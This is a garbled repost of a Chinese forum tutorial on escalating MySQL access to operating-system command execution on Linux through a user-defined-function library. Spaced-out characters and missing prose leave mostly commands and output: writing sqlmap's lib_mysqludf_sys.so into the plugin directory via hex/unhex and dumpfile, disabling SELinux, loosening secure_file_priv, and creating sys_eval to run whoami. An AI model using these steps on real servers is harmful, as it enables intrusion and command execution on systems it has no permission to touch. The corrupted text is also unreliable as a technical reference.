[21033] 2020-05-16_Linux利用UDF库实现Mysql提权

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-18
2020-05-16_Linux利用UDF库实现Mysql提权 L i n u x U D F M y s q l L e m o n S e c   2 0 2 0 - 0 5 - 1 6     西 西 西       C C T F 西 1 6 西 l i n u x w i n d o w s d l l     m y s q l f u n c s k i p g r a n t t a b l e s U D F     u d f   u d f m y s q l >   s h o w   v a r i a b l e s   l i k e   " % p l u g i n % " ; + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - + |   V a r i a b l e _ n a m e   |   V a l u e                   | + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - + |   p l u g i n _ d i r     |   / u s r / l i b / m y s q l / p l u g i n   | + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 0   s e c ) u d f     s o 6 4   r o o t @ b t : ~ #   u n a m e   - a L i n u x   b t   3 . 2 . 6   # 1   S M P   F r i   F e b   1 7   1 0 : 3 4 : 2 0   E S T   2 0 1 2   x 8 6 _ 6 4   G N U / L i n u x u d f s q l m a p r o o t @ b t : / p e n t e s t / d a t a b a s e / s q l m a p / u d f / m y s q l #   l s l i n u x   w i n d o w s r o o t @ b t : / p e n t e s t / d a t a b a s e / s q l m a p / u d f / m y s q l / l i n u x #   l s 3 2   6 4 r o o t @ b t : / p e n t e s t / d a t a b a s e / s q l m a p / u d f / m y s q l / l i n u x / 6 4 #   l s l i b _ m y s q l u d f _ s y s . s o u d f
u d f s e l e c t   h e x ( l o a d _ f i l e ( ' / t m p / c e n t o s 7 . s o ' ) )   i n t o   o u t f i l e   ' / t m p / u u u . t x t ' ; / t m p / c e n t o s 7 . s o s o / t m p / u u u . t x t s e l e c t   h e x ( l o a d _ f i l e ( ' D : / p h p S t u d y / p l u g i n s / l i b _ m y s q l u d f _ s y s . s o ' ) )   i n t o   o u t f i l e   ' D : / p h p S t u d y / u u u . t x t ' ;   r o o t @ b t : ~ #   c h m o d   7 7 7   / u s r / l i b / m y s q l / p l u g i n u d f u u u . t x t m y s q l :   s e l e c t   u n h e x ( ' 7 F 4 5 4 C . . . . . . . ' )   i n t o   d u m p f i l e   ' / u s r / l i b 6 4 / m y s q l / p l u g i n / u d f u d f . s o ' ; 1 s e l e c t *   f r o m   x x x   i n t o   o u t f i l e   :   C a n ' t   c r e a t e / w r i t e   t o   f i l e   x x x   ( E r r c o d e :   1 3 ) C e n t o s S E L I N U X e n f o r c i n g 访 m y s q l >   s e l e c t   u n h e x ( ' 7 F 4 5 4 C 4 6 0 2 0 . . . ' )   i n t o   d u m p f i l e   ' / u s r / l i b / m y s q l / p l u g i n / m y s q l u d f . s o ' ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 4   s e c )
C e n t O S     M y S Q L   s e l e c t *   f r o m   x x x   i n t o   o u t f i l e r o o t s e l e c t   u s e r   f r o m   u s e r   i n t o   o u t f i l e   ' / o p t / t e s t . t x t ' ; E R R O R   1   ( H Y 0 0 0 ) :   C a n ' t   c r e a t e / w r i t e   t o   f i l e   ' / o p t / t e s t . t x t '   ( E r r c o d e :   1 3 ) C e n t o s S E L I N U X e n f o r c i n g S E L I N U X 1 s e t e n f o r c e   0                                     # # S E L i n u x   p e r m i s s i v e                                                             # # s e t e n f o r c e   1   S E L i n u x   e n f o r c i n g 2 / e t c / s e l i n u x / c o n f i g   v i   / e t c / s e l i n u x / c o n f i g S E L I N U X = e n f o r c i n g S E L I N U X = d i s a b l e d M Y S Q L T h e   M y S Q L   s e r v e r   i s   r u n n i n g   w i t h   t h e   - - s e c u r e - f i l e - p r i v   o p t i o n   s o   i t   c a n n o t   e x e c u t e   t h i s 1 . m y s q l s e c u r e _ f i l e _ p r i v e $ m y s q l   - u   r o o t   - p m y s q l > S H O W   V A R I A B L E S   L I K E   " s e c u r e _ f i l e _ p r i v " ; s e c u r e _ f i l e _ p r i v e = n u l l       - -   m y s q l d   s e c u r e _ f i l e _ p r i v = / t m p /       - -   m y s q l d / t m p / s e c u r e _ f i l e _ p r i v = '   '                   - -   m y s q l d    
2 . s e c u r e _ f i l e _ p r i / u s r / l o c a l / m y s q l / s u p p o r t - f i l e s m y - d e f a u l t . c n f / p r i v a t e / e t c m y . c n f s e c u r e _ f i l e _ p r i v = ' ' m y s q l m y s q l >   c r e a t e   f u n c t i o n   s y s _ e v a l   r e t u r n s   s t r i n g   s o n a m e   " m y s q l u d f . s o " ; Q u e r y   O K ,   0   r o w s   a f f e c t e d   ( 0 . 1 4   s e c )     m y s q l >   s e l e c t   s y s _ e v a l ( ' w h o a m i ' ) ; + - - - - - - - - - - - - - - - - - - - - + |   s y s _ e v a l ( ' w h o a m i ' )   | + - - - - - - - - - - - - - - - - - - - - + |   m y s q l               | + - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 4   s e c )     m y s q l >   s e l e c t   *   f r o m   m y s q l . f u n c ; + - - - - - - - - - - + - - - - - + - - - - - - - - - - - - - + - - - - - - - - - - + |   n a m e       |   r e t   |   d l           |   t y p e       | + - - - - - - - - - - + - - - - - + - - - - - - - - - - - - - + - - - - - - - - - - + |   s y s _ e v a l   |     0   |   m y s q l u d f . s o   |   f u n c t i o n   | + - - - - - - - - - - + - - - - - + - - - - - - - - - - - - - + - - - - - - - - - - + 1   r o w   i n   s e t

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则